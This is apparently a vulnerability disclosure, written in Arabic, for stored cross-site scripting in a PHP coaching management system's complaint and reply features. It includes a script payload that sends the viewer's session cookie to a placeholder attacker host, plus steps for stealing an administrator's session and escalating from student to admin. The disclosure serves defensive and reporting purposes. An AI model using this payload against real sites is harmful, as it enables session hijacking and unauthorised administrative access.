
استغلال إثبات المفهوم لـ XSS المخزنة (CWE-79) في نظام إدارة تدريب PHP، يوضح اختطاف الجلسة وتصعيد الامتيازات من طالب إلى مسؤول عبر سرقة ملفات تعريف الارتباط.
نظام إدارة التدريب في PHP (Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/
غير معروف (لم تقدم الجهة المطوّرة أي معلومات عن الإصدار؛ تم الاختبار على أحدث إصدار متاح من Code-Projects.org اعتبارًا من أبريل 2026)
CWE-79: التحييد غير الصحيح للمدخلات أثناء توليد صفحة الويب (البرمجة النصية عبر المواقع المخزنة)
يفشل التطبيق في تعقيم مدخلات المستخدم بشكل صحيح في وظيفة الشكاوى والردود. يتم تخزين أكواد JavaScript الخبيثة التي يحقنها مستخدم ذو صلاحيات منخفضة وتنفيذها عندما يطّلع عليها مستخدمون ذوو صلاحيات أعلى مثل المشرفين أو المعلمين.
بالإضافة إلى ذلك، فإن وظيفة الرد عرضة للثغرة أيضًا، مما يسمح للمشرفين أو المعلمين بحقن أكواد JavaScript يتم تنفيذها في جلسات الطلاب.
يؤدي هذا إلى ثغرة XSS مخزنة تؤثر على أدوار مستخدمين متعددة.
سجّل الدخول كطالب
انتقل إلى:
/modules/student/complaint.php

قدّم شكوى تحتوي على الحمولة التالية:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
سجّل الدخول كمشرف
انتقل إلى:
/modules/admin/incomingcomplaint.php

عندما يطّلع المشرف على الشكوى، تُنفَّذ الحمولة تلقائيًا
يتم إرسال ملف تعريف ارتباط جلسة المشرف إلى الخادم الذي يتحكم فيه المهاجم
استخدم ملف تعريف ارتباط الجلسة المسروق لاختطاف جلسة المشرف

الخطورة: CRITICAL